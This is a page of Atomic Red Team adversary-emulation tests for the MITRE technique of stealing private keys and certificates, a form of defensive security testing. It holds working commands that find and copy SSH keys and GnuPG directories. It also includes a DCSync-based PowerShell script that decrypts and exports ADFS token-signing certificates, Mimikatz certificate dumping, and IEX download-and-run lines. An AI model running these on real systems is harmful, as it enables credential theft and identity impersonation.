Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as~/.ssh
for SSH keys on * nix-based systems orC:\Users\(username)\.ssh\
on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities) On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.
Atomic Test #8 - Copy the users GnuPG directory with rsync (freebsd)
Atomic Test #9 - ADFS token signing and encryption certificates theft - Local
Atomic Test #10 - ADFS token signing and encryption certificates theft - Remote
Atomic Test #12 - Export Root Certificate with Export-PFXCertificate
Atomic Test #13 - Export Root Certificate with Export-Certificate
Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
Supported Platforms: Windows
auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696
1
command_prompt
! Elevation Required (e.g. root or admin)dir c:\ /b /s .key | findstr /e .key
Discover private SSH keys on a FreeBSD, macOS or Linux system.
Supported Platforms: Linux, macOS
auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from. | path | /| | output_file | Output file containing locations of SSH key files | path | /tmp/keyfile_locations.txt|
1
sh
!1
2
find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0
1
rm #{output_file}
Copy private SSH keys on a Linux system to a staging folder using the
command.1
cp
Supported Platforms: Linux
auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from. | path | /| | output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|
1
sh
!1
2
3
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0
1
rm -rf #{output_folder}
Copy private SSH keys on a FreeBSD system to a staging folder using the
command.1
cp
Supported Platforms: Linux
auto_generated_guid: 12e4a260-a7fd-4ed8-bf18-1a28c1395775
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from. | path | /| | output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|
1
sh
!1
2
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;
1
rm -rf #{output_folder}
1
sh
!1
if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi;
1
(which pkg && pkg install -y coreutils)
Copy private SSH keys on a Linux or macOS system to a staging folder using the
command.1
rsync
Supported Platforms: macOS, Linux
auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from. | path | /| | output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|
1
sh
!1
2
3
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
exit 0
1
rm -rf #{output_folder}
Copy private SSH keys on a FreeBSD system to a staging folder using the
command.1
rsync
Supported Platforms: Linux
auto_generated_guid: 922b1080-0b95-42b0-9585-b9a5ea0af044
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from. | path | /| | output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|
1
sh
!1
2
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
1
rm -rf #{output_folder}
1
sh
!1
if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;
1
(which pkg && pkg install -y rsync)
Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the
command.1
rsync
Supported Platforms: macOS, Linux
auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from | path | /| | output_folder | Output folder containing a copy of the .gnupg directory | path | /tmp/GnuPG|
1
sh
!1
2
3
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
exit 0
1
rm -rf #{output_folder}
Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the
command.1
rsync
Supported Platforms: Linux
auto_generated_guid: b05ac39b-515f-48e9-88e9-2f141b5bcad0
| Name | Description | Type | Default Value | |——|————-|——|—————| | search_path | Path where to start searching from | path | /| | output_folder | Output folder containing a copy of the .gnupg directory | path | /tmp/GnuPG|
1
sh
!1
2
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
1
rm -rf #{output_folder}
1
sh
!1
if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;
1
(which pkg && pkg install -y rsync)
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Supported Platforms: Windows
auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f
1
powershell
!1
2
3
4
Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
1
2
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
1
powershell
!1
if (Get-Module AADInternals) {exit 0} else {exit 1}
1
Install-Module -Name AADInternals -Force
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Supported Platforms: Windows
auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442
| Name | Description | Type | Default Value | |——|————-|——|—————| | adfs_service_account_name | Name of the ADFS service account | string | adfs_svc| | replication_user | Username with replication rights. It can be the Domain Admin running the script | string | Administrator| | replication_password | Password of replication_username | string | ReallyStrongPassword| | adfs_server_name | Name of an ADFS server | string | sts.contoso.com|
1
powershell
!1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Import-Module ActiveDirectory -Force
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
1
2
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
1
powershell
!1
if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}
1
Install-Module -Name AADInternals -Force
The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack. Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
Supported Platforms: Windows
auto_generated_guid: 336b25bf-4514-4684-8924-474974f28137
| Name | Description | Type | Default Value | |——|————-|——|—————| | output | file path to export to | path | c:\temp\atomic.pfx| | password | password for cert | string | password|
1
powershell
! Elevation Required (e.g. root or admin)1
2
IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing)
certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}
1
Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item
Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
Supported Platforms: Windows
auto_generated_guid: 7617f689-bbd8-44bc-adcd-6f8968897848
| Name | Description | Type | Default Value | |——|————-|——|—————| | pfx_path | output path of the certificate | string | $env:Temp\atomicredteam.pfx|
1
powershell
! Elevation Required (e.g. root or admin)1
2
3
4
$mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd
1
2
3
4
5
try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
} catch { }
Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
Supported Platforms: Windows
auto_generated_guid: 78b274f8-acb0-428b-b1f7-7b0d0e73330a
| Name | Description | Type | Default Value | |——|————-|——|—————| | pfx_path | Path of the certificate | path | $env:Temp\AtomicRedTeam.cer|
1
powershell
! Elevation Required (e.g. root or admin)1
2
3
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
1
2
3
4
5
6
try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
}
catch { }
The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.
Supported Platforms: Windows
auto_generated_guid: 290df60e-4b5d-4a5e-b0c7-dc5348ea0c86
| Name | Description | Type | Default Value | |——|————-|——|—————| | mimikatz_exe | Path of the Mimikatz binary | string | PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe|
1
command_prompt
! Elevation Required (e.g. root or admin)"#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine /store:my /export" exit
1
powershell
!1
if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
1
2
3
4
5
6
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath